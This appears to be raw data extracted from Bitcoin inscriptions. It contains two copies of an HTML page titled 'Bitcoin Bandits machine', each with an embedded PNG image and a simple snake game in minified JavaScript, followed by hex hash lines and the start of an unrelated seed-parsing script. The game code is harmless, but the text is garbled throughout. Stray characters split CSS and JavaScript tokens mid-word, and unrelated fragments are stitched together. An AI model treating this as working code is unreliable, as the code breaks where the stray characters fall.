<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" hM
eight="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snakM
e.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].M
y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
YII=" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?sM
nake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snakM
e.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></htm
FjDOUT:ED460AB69FEED5DB9E88C9C27B3E89E6FFB993100960C4EE091107D9363CD8EE
FjDOUT:053B2D2446B71E6546E8B2226A55882C68D896764780DC29C7B32FBC0EA4574F
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
